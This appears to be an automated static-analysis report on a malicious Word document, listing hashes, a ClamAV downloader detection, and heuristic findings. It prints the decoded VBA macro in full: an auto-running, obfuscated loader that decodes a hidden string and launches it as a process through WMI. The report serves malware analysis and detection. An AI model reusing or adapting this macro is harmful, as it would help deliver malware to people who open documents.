Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a89b395471b60acc…

MALICIOUS

Office (OOXML)

338.0 KB Created: 2020-07-29 08:59:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 39812456ef99306992d28e11265ae507 SHA-1: 3678e115029d6059055dcbd80d3bbe7d074bd5a9 SHA-256: a89b395471b60acc4f789a6ebfcd3a35df010874a89032d6253ae264052bf4e3
402 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with a Document_Open auto-execution trigger. This macro uses GetObject and CreateObject with 'winmgmts:' to launch a process, indicating an attempt to download and execute a second-stage payload. The VBA code is obfuscated using string splitting and arithmetic operations on byte arrays, further suggesting malicious intent.

Heuristics 9

  • ClamAV: Doc.Downloader.Sagent-9376492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9376492-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3440 bytes
SHA-256: da7199c2ece782777ff19a3f26934688562d4080a604b2b6cd4c35b9ee5321b2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Sub Judgelike(ByVal Unfestooned As String)
Dim Unamortized As Long: Dim Centralise() As Byte








                                        




                                                                    GoTo InfectIousness
Interval:






          Preinquisition StrConv(Centralise, 64, 1055)






                   





              Exit Sub








                                                




Fictional:





                                            For Unamortized = 0 To UBound(Centralise)







                   Centralise(Unamortized) = Abs(Centralise(Unamortized) - 14)








           




                                        




                                                Next





           GoTo Interval
Exit Sub





InfectIousness:
Centralise = StrConv(Unfestooned, 128, 1055)








                                                




                                                GoTo Fictional








                                        




                                                            






                                                                    






                                                                            Exit Sub





           End Sub








                                                                            Sub Document_Open()









                                                            Call Distribute






              






              End Sub






                  Private Sub Distribute()
Dim Unfestooned As String: Unfestooned = ActiveDocument.Variables("x1cf59ef63c1c").Value






                                                                        






                                                            Judgelike Unfestooned








             






                                                            





              






                End Sub
Private Sub Preinquisition(ByVal TenTier As String)






                                                    Dim Sendee As String: Sendee = "."








                If TenTier <> "" Then







                                                    GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & Sendee & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create TenTier, Null, Null, 0
Else
MsgBox "Promted usr764 ."







                 GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0






                                            






                                                                        







                                                                





          End If
End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/Microsoft_Word_Document.docx 116759 bytes
SHA-256: a4079e342859b3cd0c06ac2ab29a26cb3e8768dab4ddeb0f7833d3fd2bf96991
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 9c51f1f05aacfe0d52478f201bcb5988736456ac8365ed104997cabd05e50b1e
Detection
ClamAV: Doc.Downloader.Sagent-9376492-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: word/media/image1.emf 1055464 bytes
SHA-256: f39599790de60841dea21e025483b0327460b6b251295153ae51b22349b16a54

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